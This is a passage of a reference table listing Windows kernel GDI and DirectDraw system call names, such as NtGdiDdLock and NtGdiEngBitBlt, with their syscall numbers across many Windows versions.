NtGdiDdGetFlipStatus |  |  |  |  0x1043  |  |  |  0x104b  |  |  0x104b  |  |  0x104d  |  0x104d  |  0x104d  |  |  0x104d  |  0x104d  |  0x104f  |  0x104f  |  0x104f  |  |  0x104f  |  |  0x1050   
NtGdiDdGetInternalMoCompInfo |  |  |  |  |  |  |  0x104c  |  |  0x104c  |  |  0x104e  |  0x104e  |  0x104e  |  |  0x104e  |  0x104e  |  0x1050  |  0x1050  |  0x1050  |  |  0x1050  |  |  0x1051   
NtGdiDdGetMoCompBuffInfo |  |  |  |  |  |  |  0x104d  |  |  0x104d  |  |  0x104f  |  0x104f  |  0x104f  |  |  0x104f  |  0x104f  |  0x1051  |  0x1051  |  0x1051  |  |  0x1051  |  |  0x1052   
NtGdiDdGetMoCompFormats |  |  |  |  |  |  |  0x104f  |  |  0x104f  |  |  0x1051  |  0x1051  |  0x1051  |  |  0x1051  |  0x1051  |  0x1053  |  0x1053  |  0x1053  |  |  0x1053  |  |  0x1054   
NtGdiDdGetMoCompGuids |  |  |  |  |  |  |  0x104e  |  |  0x104e  |  |  0x1050  |  0x1050  |  0x1050  |  |  0x1050  |  0x1050  |  0x1052  |  0x1052  |  0x1052  |  |  0x1052  |  |  0x1053   
NtGdiDdGetScanLine |  |  |  |  0x1044  |  |  |  0x1050  |  |  0x1050  |  |  0x1052  |  0x1052  |  0x1052  |  |  0x1052  |  0x1052  |  0x1054  |  0x1054  |  0x1054  |  |  0x1054  |  |  0x1055   
NtGdiDdLock |  |  |  |  0x1045  |  |  |  0x1051  |  |  0x1051  |  |  0x1053  |  0x1053  |  0x1053  |  |  0x1053  |  0x1053  |  0x1055  |  0x1055  |  0x1055  |  |  0x1055  |  |  0x1056   
NtGdiDdLockD3D |  |  |  |  |  |  |  0x1052  |  |  0x1052  |  |  0x1054  |  0x1054  |  0x1054  |  |  0x1054  |  0x1054  |  0x1056  |  0x1056  |  0x1056  |  |  0x1056  |  |  0x1057   
NtGdiDdNotifyFullscreenSpriteUpdate |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x132f   
NtGdiDdQueryDirectDrawObject |  |  |  |  0x1046  |  |  |  0x1053  |  |  0x1053  |  |  0x1055  |  0x1055  |  0x1055  |  |  0x1055  |  0x1055  |  0x1057  |  0x1057  |  0x1057  |  |  0x1057  |  |  0x1058   
NtGdiDdQueryMoCompStatus |  |  |  |  |  |  |  0x1054  |  |  0x1054  |  |  0x1056  |  0x1056  |  0x1056  |  |  0x1056  |  0x1056  |  0x1058  |  0x1058  |  0x1058  |  |  0x1058  |  |  0x1059   
NtGdiDdQueryVisRgnUniqueness |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1331   
NtGdiDdReenableDirectDrawObject |  |  |  |  0x1047  |  |  |  0x1055  |  |  0x1055  |  |  0x1057  |  0x1057  |  0x1057  |  |  0x1057  |  0x1057  |  0x1059  |  0x1059  |  0x1059  |  |  0x1059  |  |  0x105a   
NtGdiDdReleaseDC |  |  |  |  0x1048  |  |  |  0x1056  |  |  0x1056  |  |  0x1058  |  0x1058  |  0x1058  |  |  0x1058  |  0x1058  |  0x105a  |  0x105a  |  0x105a  |  |  0x105a  |  |  0x105b   
NtGdiDdRenderMoComp |  |  |  |  |  |  |  0x1057  |  |  0x1057  |  |  0x1059  |  0x1059  |  0x1059  |  |  0x1059  |  0x1059  |  0x105b  |  0x105b  |  0x105b  |  |  0x105b  |  |  0x105c   
NtGdiDdResetVisrgn |  |  |  |  0x1049  |  |  |  0x1058  |  |  0x1058  |  |  0x105a  |  0x105a  |  0x105a  |  |  0x105a  |  0x105a  |  0x105c  |  0x105c  |  0x105c  |  |  0x105c  |  |  0x105d   
NtGdiDdSetColorKey |  |  |  |  0x104a  |  |  |  0x1059  |  |  0x1059  |  |  0x105b  |  0x105b  |  0x105b  |  |  0x105b  |  0x105b  |  0x105d  |  0x105d  |  0x105d  |  |  0x105d  |  |  0x105e   
NtGdiDdSetExclusiveMode |  |  |  |  |  |  |  0x105a  |  |  0x105a  |  |  0x105c  |  0x105c  |  0x105c  |  |  0x105c  |  0x105c  |  0x105e  |  0x105e  |  0x105e  |  |  0x105e  |  |  0x105f   
NtGdiDdSetGammaRamp |  |  |  |  |  |  |  0x105b  |  |  0x105b  |  |  0x105d  |  0x105d  |  0x105d  |  |  0x105d  |  0x105d  |  0x105f  |  0x105f  |  0x105f  |  |  0x105f  |  |  0x1060   
NtGdiDdSetOverlayPosition |  |  |  |  0x104b  |  |  |  0x105d  |  |  0x105d  |  |  0x105f  |  0x105f  |  0x105f  |  |  0x105f  |  0x105f  |  0x1061  |  0x1061  |  0x1061  |  |  0x1061  |  |  0x1062   
NtGdiDdUnattachSurface |  |  |  |  |  |  |  0x105e  |  |  0x105e  |  |  0x1060  |  0x1060  |  0x1060  |  |  0x1060  |  0x1060  |  0x1062  |  0x1062  |  0x1062  |  |  0x1062  |  |  0x1063   
NtGdiDdUnlock |  |  |  |  0x104c  |  |  |  0x105f  |  |  0x105f  |  |  0x1061  |  0x1061  |  0x1061  |  |  0x1061  |  0x1061  |  0x1063  |  0x1063  |  0x1063  |  |  0x1063  |  |  0x1064   
NtGdiDdUnlockD3D |  |  |  |  |  |  |  0x1060  |  |  0x1060  |  |  0x1062  |  0x1062  |  0x1062  |  |  0x1062  |  0x1062  |  0x1064  |  0x1064  |  0x1064  |  |  0x1064  |  |  0x1065   
NtGdiDdUpdateOverlay |  |  |  |  0x104d  |  |  |  0x1061  |  |  0x1061  |  |  0x1063  |  0x1063  |  0x1063  |  |  0x1063  |  0x1063  |  0x1065  |  0x1065  |  0x1065  |  |  0x1065  |  |  0x1066   
NtGdiDdWaitForVerticalBlank |  |  |  |  0x104e  |  |  |  0x1062  |  |  0x1062  |  |  0x1064  |  0x1064  |  0x1064  |  |  0x1064  |  0x1064  |  0x1066  |  0x1066  |  0x1066  |  |  0x1066  |  |  0x1067   
NtGdiDeleteClientObj |  |  |  |  0x104f  |  |  |  0x1072  |  |  0x1072  |  |  0x1077  |  0x1077  |  0x1077  |  |  0x1077  |  0x1077  |  0x1079  |  0x1079  |  0x1079  |  |  0x1079  |  |  0x107a   
NtGdiDeleteColorSpace |  |  |  |  |  |  |  0x1073  |  |  0x1073  |  |  0x1078  |  0x1078  |  0x1078  |  |  0x1078  |  0x1078  |  0x107a  |  0x107a  |  0x107a  |  |  0x107a  |  |  0x107b   
NtGdiDeleteColorTransform |  |  |  |  |  |  |  0x1074  |  |  0x1074  |  |  0x1079  |  0x1079  |  0x1079  |  |  0x1079  |  0x1079  |  0x107b  |  0x107b  |  0x107b  |  |  0x107b  |  |  0x107c   
NtGdiDeleteObjectApp |  |  |  |  0x1050  |  |  |  0x1075  |  |  0x1075  |  |  0x107a  |  0x107a  |  0x107a  |  |  0x107a  |  0x107a  |  0x107c  |  0x107c  |  0x107c  |  |  0x107c  |  |  0x107d   
NtGdiDescribePixelFormat |  |  |  |  0x1051  |  |  |  0x1076  |  |  0x1076  |  |  0x107b  |  0x107b  |  0x107b  |  |  0x107b  |  0x107b  |  0x107d  |  0x107d  |  0x107d  |  |  0x107d  |  |  0x107e   
NtGdiDestroyOPMProtectedOutput |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x107e  |  0x107e  |  0x107e  |  |  0x107e  |  |  0x107f   
NtGdiDoBanding |  |  |  |  0x1052  |  |  |  0x1078  |  |  0x1078  |  |  0x107d  |  0x107d  |  0x107d  |  |  0x107d  |  0x107d  |  0x1080  |  0x1080  |  0x1080  |  |  0x1080  |  |  0x1081   
NtGdiDoPalette |  |  |  |  0x1053  |  |  |  0x1079  |  |  0x1079  |  |  0x107e  |  0x107e  |  0x107e  |  |  0x107e  |  0x107e  |  0x1081  |  0x1081  |  0x1081  |  |  0x1081  |  |  0x1082   
NtGdiDrawEscape |  |  |  |  0x1054  |  |  |  0x107a  |  |  0x107a  |  |  0x107f  |  0x107f  |  0x107f  |  |  0x107f  |  0x107f  |  0x1082  |  0x1082  |  0x1082  |  |  0x1082  |  |  0x1083   
NtGdiDrawStream |  |  |  |  |  |  |  |  |  |  |  0x129a  |  0x129a  |  0x129a  |  |  0x1296  |  0x1296  |  0x12bb  |  0x12bb  |  0x12bb  |  |  0x12bb  |  |  0x12db   
NtGdiDvpAcquireNotification |  |  |  |  |  |  |  |  |  |  |  0x1074  |  0x1074  |  0x1074  |  |  0x1074  |  0x1074  |  0x1076  |  0x1076  |  0x1076  |  |  0x1076  |  |  0x1077   
NtGdiDvpCanCreateVideoPort |  |  |  |  |  |  |  0x1063  |  |  0x1063  |  |  0x1065  |  0x1065  |  0x1065  |  |  0x1065  |  0x1065  |  0x1067  |  0x1067  |  0x1067  |  |  0x1067  |  |  0x1068   
NtGdiDvpColorControl |  |  |  |  |  |  |  0x1064  |  |  0x1064  |  |  0x1066  |  0x1066  |  0x1066  |  |  0x1066  |  0x1066  |  0x1068  |  0x1068  |  0x1068  |  |  0x1068  |  |  0x1069   
NtGdiDvpCreateVideoPort |  |  |  |  |  |  |  0x1065  |  |  0x1065  |  |  0x1067  |  0x1067  |  0x1067  |  |  0x1067  |  0x1067  |  0x1069  |  0x1069  |  0x1069  |  |  0x1069  |  |  0x106a   
NtGdiDvpDestroyVideoPort |  |  |  |  |  |  |  0x1066  |  |  0x1066  |  |  0x1068  |  0x1068  |  0x1068  |  |  0x1068  |  0x1068  |  0x106a  |  0x106a  |  0x106a  |  |  0x106a  |  |  0x106b   
NtGdiDvpFlipVideoPort |  |  |  |  |  |  |  0x1067  |  |  0x1067  |  |  0x1069  |  0x1069  |  0x1069  |  |  0x1069  |  0x1069  |  0x106b  |  0x106b  |  0x106b  |  |  0x106b  |  |  0x106c   
NtGdiDvpGetVideoPortBandwidth |  |  |  |  |  |  |  0x1068  |  |  0x1068  |  |  0x106a  |  0x106a  |  0x106a  |  |  0x106a  |  0x106a  |  0x106c  |  0x106c  |  0x106c  |  |  0x106c  |  |  0x106d   
NtGdiDvpGetVideoPortConnectInfo |  |  |  |  |  |  |  0x106e  |  |  0x106e  |  |  0x1070  |  0x1070  |  0x1070  |  |  0x1070  |  0x1070  |  0x1072  |  0x1072  |  0x1072  |  |  0x1072  |  |  0x1073   
NtGdiDvpGetVideoPortField |  |  |  |  |  |  |  0x1069  |  |  0x1069  |  |  0x106b  |  0x106b  |  0x106b  |  |  0x106b  |  0x106b  |  0x106d  |  0x106d  |  0x106d  |  |  0x106d  |  |  0x106e   
NtGdiDvpGetVideoPortFlipStatus |  |  |  |  |  |  |  0x106a  |  |  0x106a  |  |  0x106c  |  0x106c  |  0x106c  |  |  0x106c  |  0x106c  |  0x106e  |  0x106e  |  0x106e  |  |  0x106e  |  |  0x106f   
NtGdiDvpGetVideoPortInputFormats |  |  |  |  |  |  |  0x106b  |  |  0x106b  |  |  0x106d  |  0x106d  |  0x106d  |  |  0x106d  |  0x106d  |  0x106f  |  0x106f  |  0x106f  |  |  0x106f  |  |  0x1070   
NtGdiDvpGetVideoPortLine |  |  |  |  |  |  |  0x106c  |  |  0x106c  |  |  0x106e  |  0x106e  |  0x106e  |  |  0x106e  |  0x106e  |  0x1070  |  0x1070  |  0x1070  |  |  0x1070  |  |  0x1071   
NtGdiDvpGetVideoPortOutputFormats |  |  |  |  |  |  |  0x106d  |  |  0x106d  |  |  0x106f  |  0x106f  |  0x106f  |  |  0x106f  |  0x106f  |  0x1071  |  0x1071  |  0x1071  |  |  0x1071  |  |  0x1072   
NtGdiDvpGetVideoSignalStatus |  |  |  |  |  |  |  0x106f  |  |  0x106f  |  |  0x1071  |  0x1071  |  0x1071  |  |  0x1071  |  0x1071  |  0x1073  |  0x1073  |  0x1073  |  |  0x1073  |  |  0x1074   
NtGdiDvpReleaseNotification |  |  |  |  |  |  |  |  |  |  |  0x1075  |  0x1075  |  0x1075  |  |  0x1075  |  0x1075  |  0x1077  |  0x1077  |  0x1077  |  |  0x1077  |  |  0x1078   
NtGdiDvpUpdateVideoPort |  |  |  |  |  |  |  0x1070  |  |  0x1070  |  |  0x1072  |  0x1072  |  0x1072  |  |  0x1072  |  0x1072  |  0x1074  |  0x1074  |  0x1074  |  |  0x1074  |  |  0x1075   
NtGdiDvpWaitForVideoPortSync |  |  |  |  |  |  |  0x1071  |  |  0x1071  |  |  0x1073  |  0x1073  |  0x1073  |  |  0x1073  |  0x1073  |  0x1075  |  0x1075  |  0x1075  |  |  0x1075  |  |  0x1076   
NtGdiDwmGetDirtyRgn |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12bc  |  0x12bc  |  0x12bc  |  |  0x12bc  |  |   
NtGdiDwmGetSurfaceData |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12bd  |  0x12bd  |  0x12bd  |  |  0x12bd  |  |   
NtGdiDxgGenericThunk |  |  |  |  |  |  |  |  |  |  |  0x1076  |  0x1076  |  0x1076  |  |  0x1076  |  0x1076  |  0x1078  |  0x1078  |  0x1078  |  |  0x1078  |  |  0x1079   
NtGdiEllipse |  |  |  |  0x1055  |  |  |  0x107b  |  |  0x107b  |  |  0x1080  |  0x1080  |  0x1080  |  |  0x1080  |  0x1080  |  0x1083  |  0x1083  |  0x1083  |  |  0x1083  |  |  0x1084   
NtGdiEnableEudc |  |  |  |  |  |  |  0x107c  |  |  0x107c  |  |  0x1081  |  0x1081  |  0x1081  |  |  0x1081  |  0x1081  |  0x1084  |  0x1084  |  0x1084  |  |  0x1084  |  |  0x1085   
NtGdiEndDoc |  |  |  |  0x1056  |  |  |  0x107d  |  |  0x107d  |  |  0x1082  |  0x1082  |  0x1082  |  |  0x1082  |  0x1082  |  0x1085  |  0x1085  |  0x1085  |  |  0x1085  |  |  0x1086   
NtGdiEndGdiRendering |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1087   
NtGdiEndPage |  |  |  |  0x1057  |  |  |  0x107e  |  |  0x107e  |  |  0x1083  |  0x1083  |  0x1083  |  |  0x1083  |  0x1083  |  0x1086  |  0x1086  |  0x1086  |  |  0x1086  |  |  0x1088   
NtGdiEndPath |  |  |  |  0x1058  |  |  |  0x107f  |  |  0x107f  |  |  0x1084  |  0x1084  |  0x1084  |  |  0x1084  |  0x1084  |  0x1087  |  0x1087  |  0x1087  |  |  0x1087  |  |  0x1089   
NtGdiEngAlphaBlend |  |  |  |  |  |  |  0x1254  |  |  0x1254  |  |  0x126c  |  0x126c  |  0x126c  |  |  0x1268  |  0x1268  |  0x128d  |  0x128d  |  0x128d  |  |  0x128d  |  |  0x12ad   
NtGdiEngAssociateSurface |  |  |  |  |  |  |  0x123f  |  |  0x123f  |  |  0x1257  |  0x1257  |  0x1257  |  |  0x1253  |  0x1253  |  0x1278  |  0x1278  |  0x1278  |  |  0x1278  |  |  0x1298   
NtGdiEngBitBlt |  |  |  |  |  |  |  0x124b  |  |  0x124b  |  |  0x1263  |  0x1263  |  0x1263  |  |  0x125f  |  0x125f  |  0x1284  |  0x1284  |  0x1284  |  |  0x1284  |  |  0x12a4   
NtGdiEngCheckAbort |  |  |  |  |  |  |  0x127b  |  |  0x127b  |  |  0x1293  |  0x1293  |  0x1293  |  |  0x128f  |  0x128f  |  0x12b4  |  0x12b4  |  0x12b4  |  |  0x12b4  |  |  0x12d4   
NtGdiEngComputeGlyphSet |  |  |  |  |  |  |  0x1244  |  |  0x1244  |  |  0x125c  |  0x125c  |  0x125c  |  |  0x1258  |  0x1258  |  0x127d  |  0x127d  |  0x127d  |  |  0x127d  |  |  0x129d   
NtGdiEngCopyBits |  |  |  |  |  |  |  0x1245  |  |  0x1245  |  |  0x125d  |  0x125d  |  0x125d  |  |  0x1259  |  0x1259  |  0x127e  |  0x127e  |  0x127e  |  |  0x127e  |  |  0x129e   
NtGdiEngCreateBitmap |  |  |  |  |  |  |  0x1240  |  |  0x1240  |  |  0x1258  |  0x1258  |  0x1258  |  |  0x1254  |  0x1254  |  0x1279  |  0x1279  |  0x1279  |  |  0x1279  |  |  0x1299   
NtGdiEngCreateClip |  |  |  |  |  |  |  0x1260  |  |  0x1260  |  |  0x1278  |  0x1278  |  0x1278  |  |  0x1274  |  0x1274  |  0x1299  |  0x1299  |  0x1299  |  |  0x1299  |  |  0x12b9   
NtGdiEngCreateDeviceBitmap |  |  |  |  |  |  |  0x1242  |  |  0x1242  |  |  0x125a  |  0x125a  |  0x125a  |  |  0x1256  |  0x1256  |  0x127b  |  0x127b  |  0x127b  |  |  0x127b  |  |  0x129b   
NtGdiEngCreateDeviceSurface |  |  |  |  |  |  |  0x1241  |  |  0x1241  |  |  0x1259  |  0x1259  |  0x1259  |  |  0x1255  |  0x1255  |  0x127a  |  0x127a  |  0x127a  |  |  0x127a  |  |  0x129a   
NtGdiEngCreatePalette |  |  |  |  |  |  |  0x1243  |  |  0x1243  |  |  0x125b  |  0x125b  |  0x125b  |  |  0x1257  |  0x1257  |  0x127c  |  0x127c  |  0x127c  |  |  0x127c  |  |  0x129c   
NtGdiEngDeleteClip |  |  |  |  |  |  |  0x1261  |  |  0x1261  |  |  0x1279  |  0x1279  |  0x1279  |  |  0x1275  |  0x1275  |  0x129a  |  0x129a  |  0x129a  |  |  0x129a  |  |  0x12ba   
NtGdiEngDeletePalette |  |  |  |  |  |  |  0x1246  |  |  0x1246  |  |  0x125e  |  0x125e  |  0x125e  |  |  0x125a  |  0x125a  |  0x127f  |  0x127f  |  0x127f  |  |  0x127f  |  |  0x129f   
NtGdiEngDeletePath |  |  |  |  |  |  |  0x125f  |  |  0x125f  |  |  0x1277  |  0x1277  |  0x1277  |  |  0x1273  |  0x1273  |  0x1298  |  0x1298  |  0x1298  |  |  0x1298  |  |  0x12b8   
NtGdiEngDeleteSurface |  |  |  |  |  |  |  0x1247  |  |  0x1247  |  |  0x125f  |  0x125f  |  0x125f  |  |  0x125b  |  0x125b  |  0x1280  |  0x1280  |  0x1280  |  |  0x1280  |  |  0x12a0   
NtGdiEngEraseSurface |  |  |  |  |  |  |  0x1248  |  |  0x1248  |  |  0x1260  |  0x1260  |  0x1260  |  |  0x125c  |  0x125c  |  0x1281  |  0x1281  |  0x1281  |  |  0x1281  |  |  0x12a1   
NtGdiEngFillPath |  |  |  |  |  |  |  0x1250  |  |  0x1250  |  |  0x1268  |  0x1268  |  0x1268  |  |  0x1264  |  0x1264  |  0x1289  |  0x1289  |  0x1289  |  |  0x1289  |  |  0x12a9   
NtGdiEngGradientFill |  |  |  |  |  |  |  0x1255  |  |  0x1255  |  |  0x126d  |  0x126d  |  0x126d  |  |  0x1269  |  0x1269  |  0x128e  |  0x128e  |  0x128e  |  |  0x128e  |  |  0x12ae   
NtGdiEngLineTo |  |  |  |  |  |  |  0x1253  |  |  0x1253  |  |  0x126b  |  0x126b  |  0x126b  |  |  0x1267  |  0x1267  |  0x128c  |  0x128c  |  0x128c  |  |  0x128c  |  |  0x12ac   
NtGdiEngLockSurface |  |  |  |  |  |  |  0x124a  |  |  0x124a  |  |  0x1262  |  0x1262  |  0x1262  |  |  0x125e  |  0x125e  |  0x1283  |  0x1283  |  0x1283  |  |  0x1283  |  |  0x12a3   
NtGdiEngMarkBandingSurface |  |  |  |  |  |  |  0x124e  |  |  0x124e  |  |  0x1266  |  0x1266  |  0x1266  |  |  0x1262  |  0x1262  |  0x1287  |  0x1287  |  0x1287  |  |  0x1287  |  |  0x12a7   
NtGdiEngPaint |  |  |  |  |  |  |  0x1252  |  |  0x1252  |  |  0x126a  |  0x126a  |  0x126a  |  |  0x1266  |  0x1266  |  0x128b  |  0x128b  |  0x128b  |  |  0x128b  |  |  0x12ab   
NtGdiEngPlgBlt |  |  |  |  |  |  |  0x124d  |  |  0x124d  |  |  0x1265  |  0x1265  |  0x1265  |  |  0x1261  |  0x1261  |  0x1286  |  0x1286  |  0x1286  |  |  0x1286  |  |  0x12a6   
NtGdiEngStretchBlt |  |  |  |  |  |  |  0x124c  |  |  0x124c  |  |  0x1264  |  0x1264  |  0x1264  |  |  0x1260  |  0x1260  |  0x1285  |  0x1285  |  0x1285  |  |  0x1285  |  |  0x12a5   
NtGdiEngStretchBltROP |  |  |  |  |  |  |  0x1258  |  |  0x1258  |  |  0x1270  |  0x1270  |  0x1270  |  |  0x126c  |  0x126c  |  0x1291  |  0x1291  |  0x1291  |  |  0x1291  |  |  0x12b1   
NtGdiEngStrokeAndFillPath |  |  |  |  |  |  |  0x1251  |  |  0x1251  |  |  0x1269  |  0x1269  |  0x1269  |  |  0x1265  |  0x1265  |  0x128a  |  0x128a  |  0x128a  |  |  0x128a  |  |  0x12aa   
NtGdiEngStrokePath |  |  |  |  |  |  |  0x124f  |  |  0x124f  |  |  0x1267  |  0x1267  |  0x1267  |  |  0x1263  |  0x1263  |  0x1288  |  0x1288  |  0x1288  |  |  0x1288  |  |  0x12a8   
NtGdiEngTextOut |  |  |  |  |  |  |  0x1257  |  |  0x1257  |  |  0x126f  |  0x126f  |  0x126f  |  |  0x126b  |  0x126b  |  0x1290  |  0x1290  |  0x1290  |  |  0x1290  |  |  0x12b0   
NtGdiEngTransparentBlt |  |  |  |  |  |  |  0x1256  |  |  0x1256  |  |  0x126e  |  0x126e  |  0x126e  |  |  0x126a  |  0x126a  |  0x128f  |  0x128f  |  0x128f  |  |  0x128f  |  |  0x12af   
NtGdiEngUnlockSurface |  |  |  |  |  |  |  0x1249  |  |  0x1249  |  |  0x1261  |  0x1261  |  0x1261  |  |  0x125d  |  0x125d  |  0x1282  |  0x1282  |  0x1282  |  |  0x1282  |  |  0x12a2   
NtGdiEnumFontChunk |  |  |  |  0x1059  |  |  |  0x1080  |  |  0x1080  |  |  0x1085  |  0x1085  |  0x1085  |  |  0x1085  |  0x1085  |  0x1088  |  0x1088  |  0x1088  |  |  0x1088  |  |   
NtGdiEnumFontClose |  |  |  |  0x105a  |  |  |  0x1081  |  |  0x1081  |  |  0x1086  |  0x1086  |  0x1086  |  |  0x1086  |  0x1086  |  0x1089  |  0x1089  |  0x1089  |  |  0x1089  |  |   
NtGdiEnumFontOpen |  |  |  |  0x105b  |  |  |  0x1082  |  |  0x1082  |  |  0x1087  |  0x1087  |  0x1087  |  |  0x1087  |  0x1087  |  0x108a  |  0x108a  |  0x108a  |  |  0x108a  |  |   
NtGdiEnumFonts |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x108a   
NtGdiEnumObjects |  |  |  |  0x105c  |  |  |  0x1083  |  |  0x1083  |  |  0x1088  |  0x1088  |  0x1088  |  |  0x1088  |  0x1088  |  0x108b  |  0x108b  |  0x108b  |  |  0x108b  |  |  0x108b   
NtGdiEqualRgn |  |  |  |  0x105d  |  |  |  0x1084  |  |  0x1084  |  |  0x1089  |  0x1089  |  0x1089  |  |  0x1089  |  0x1089  |  0x108c  |  0x108c  |  0x108c  |  |  0x108c  |  |  0x108c   
NtGdiEudcEnumFaceNameLinkW |  |  |  |  |  |  |  0x1085  |  |  0x1085  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiEudcLoadUnloadLink |  |  |  |  |  |  |  0x1086  |  |  0x1086  |  |  0x108a  |  0x108a  |  0x108a  |  |  0x108a  |  0x108a  |  0x108d  |  0x108d  |  0x108d  |  |  0x108d  |  |  0x108d   
NtGdiExcludeClipRect |  |  |  |  0x105e  |  |  |  0x1087  |  |  0x1087  |  |  0x108b  |  0x108b  |  0x108b  |  |  0x108b  |  0x108b  |  0x108e  |  0x108e  |  0x108e  |  |  0x108e  |  |  0x108e   
NtGdiExtCreatePen |  |  |  |  0x105f  |  |  |  0x1088  |  |  0x1088  |  |  0x108c  |  0x108c  |  0x108c  |  |  0x108c  |  0x108c  |  0x108f  |  0x108f  |  0x108f  |  |  0x108f  |  |  0x108f   
NtGdiExtCreateRegion |  |  |  |  0x1060  |  |  |  0x1089  |  |  0x1089  |  |  0x108d  |  0x108d  |  0x108d  |  |  0x108d  |  0x108d  |  0x1090  |  0x1090  |  0x1090  |  |  0x1090  |  |  0x1090   
NtGdiExtEscape |  |  |  |  0x1061  |  |  |  0x108a  |  |  0x108a  |  |  0x108e  |  0x108e  |  0x108e  |  |  0x108e  |  0x108e  |  0x1091  |  0x1091  |  0x1091  |  |  0x1091  |  |  0x1091   
NtGdiExtFloodFill |  |  |  |  0x1062  |  |  |  0x108b  |  |  0x108b  |  |  0x108f  |  0x108f  |  0x108f  |  |  0x108f  |  0x108f  |  0x1092  |  0x1092  |  0x1092  |  |  0x1092  |  |  0x1092   
NtGdiExtGetObjectW |  |  |  |  0x1063  |  |  |  0x108c  |  |  0x108c  |  |  0x1090  |  0x1090  |  0x1090  |  |  0x1090  |  0x1090  |  0x1093  |  0x1093  |  0x1093  |  |  0x1093  |  |  0x1093   
NtGdiExtSelectClipRgn |  |  |  |  0x1064  |  |  |  0x108d  |  |  0x108d  |  |  0x1091  |  0x1091  |  0x1091  |  |  0x1091  |  0x1091  |  0x1094  |  0x1094  |  0x1094  |  |  0x1094  |  |  0x1094   
NtGdiExtTextOutW |  |  |  |  0x1065  |  |  |  0x108e  |  |  0x108e  |  |  0x1092  |  0x1092  |  0x1092  |  |  0x1092  |  0x1092  |  0x1095  |  0x1095  |  0x1095  |  |  0x1095  |  |  0x1095   
NtGdiFONTOBJ\_cGetAllGlyphHandles |  |  |  |  |  |  |  0x126f  |  |  0x126f  |  |  0x1287  |  0x1287  |  0x1287  |  |  0x1283  |  0x1283  |  0x12a8  |  0x12a8  |  0x12a8  |  |  0x12a8  |  |  0x12c8   
NtGdiFONTOBJ\_cGetGlyphs |  |  |  |  |  |  |  0x126a  |  |  0x126a  |  |  0x1282  |  0x1282  |  0x1282  |  |  0x127e  |  0x127e  |  0x12a3  |  0x12a3  |  0x12a3  |  |  0x12a3  |  |  0x12c3   
NtGdiFONTOBJ\_pQueryGlyphAttrs |  |  |  |  |  |  |  0x126d  |  |  0x126d  |  |  0x1285  |  0x1285  |  0x1285  |  |  0x1281  |  0x1281  |  0x12a6  |  0x12a6  |  0x12a6  |  |  0x12a6  |  |  0x12c6   
NtGdiFONTOBJ\_pfdg |  |  |  |  |  |  |  0x126c  |  |  0x126c  |  |  0x1284  |  0x1284  |  0x1284  |  |  0x1280  |  0x1280  |  0x12a5  |  0x12a5  |  0x12a5  |  |  0x12a5  |  |  0x12c5   
NtGdiFONTOBJ\_pifi |  |  |  |  |  |  |  0x126b  |  |  0x126b  |  |  0x1283  |  0x1283  |  0x1283  |  |  0x127f  |  0x127f  |  0x12a4  |  0x12a4  |  0x12a4  |  |  0x12a4  |  |  0x12c4   
NtGdiFONTOBJ\_pvTrueTypeFontFile |  |  |  |  |  |  |  0x126e  |  |  0x126e  |  |  0x1286  |  0x1286  |  0x1286  |  |  0x1282  |  0x1282  |  0x12a7  |  0x12a7  |  0x12a7  |  |  0x12a7  |  |  0x12c7   
NtGdiFONTOBJ\_pxoGetXform |  |  |  |  |  |  |  0x1269  |  |  0x1269  |  |  0x1281  |  0x1281  |  0x1281  |  |  0x127d  |  0x127d  |  0x12a2  |  0x12a2  |  0x12a2  |  |  0x12a2  |  |  0x12c2   
NtGdiFONTOBJ\_vGetInfo |  |  |  |  |  |  |  0x1268  |  |  0x1268  |  |  0x1280  |  0x1280  |  0x1280  |  |  0x127c  |  0x127c  |  0x12a1  |  0x12a1  |  0x12a1  |  |  0x12a1  |  |  0x12c1   
NtGdiFillPath |  |  |  |  0x1066  |  |  |  0x108f  |  |  0x108f  |  |  0x1093  |  0x1093  |  0x1093  |  |  0x1093  |  0x1093  |  0x1096  |  0x1096  |  0x1096  |  |  0x1096  |  |  0x1096   
NtGdiFillRgn |  |  |  |  0x1067  |  |  |  0x1090  |  |  0x1090  |  |  0x1094  |  0x1094  |  0x1094  |  |  0x1094  |  0x1094  |  0x1097  |  0x1097  |  0x1097  |  |  0x1097  |  |  0x1097   
NtGdiFixUpHandle |  |  |  |  0x1068  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtGdiFlattenPath |  |  |  |  0x1069  |  |  |  0x1091  |  |  0x1091  |  |  0x1095  |  0x1095  |  0x1095  |  |  0x1095  |  0x1095  |  0x1098  |  0x1098  |  0x1098  |  |  0x1098  |  |  0x1098   
NtGdiFlush |  |  |  |  0x106b  |  |  |  |  |  |  |  0x1097  |  0x1097  |  0x1097  |  |  0x1096  |  0x1096  |  0x1099  |  0x1099  |  0x1099  |  |  0x1099  |  |  0x1099   
NtGdiFlushUserBatch |  |  |  |  0x106a  |  |  |  0x1092  |  |  0x1092  |  |  0x1096  |  0x1096  |  0x1096  |  |  |  |  |  |  |  |  |  |   
NtGdiFontIsLinked |  |  |  |  |  |  |  0x100a  |  |  0x100a  |  |  0x100a  |  0x100a  |  0x100a  |  |  0x100a  |  0x100a  |  0x100a  |  0x100a  |  0x100a  |  |  0x100a  |  |  0x100a   
NtGdiForceUFIMapping |  |  |  |  0x106c  |  |  |  0x1094  |  |  0x1094  |  |  0x1098  |  0x1098  |  0x1098  |  |  0x1097  |  0x1097  |  0x109a  |  0x109a  |  0x109a  |  |  0x109a  |  |  0x109a   
NtGdiFrameRgn |  |  |  |  0x106d  |  |  |  0x1095  |  |  0x1095  |  |  0x1099  |  0x1099  |  0x1099  |  |  0x1098  |  0x1098  |  0x109b  |  0x109b  |  0x109b  |  |  0x109b  |  |  0x109b   
NtGdiFullscreenControl |  |  |  |  |  |  |  0x1096  |  |  0x1096  |  |  0x109a  |  0x109a  |  0x109a  |  |  0x1099  |  0x1099  |  0x109c  |  0x109c  |  0x109c  |  |  0x109c  |  |  0x109c   
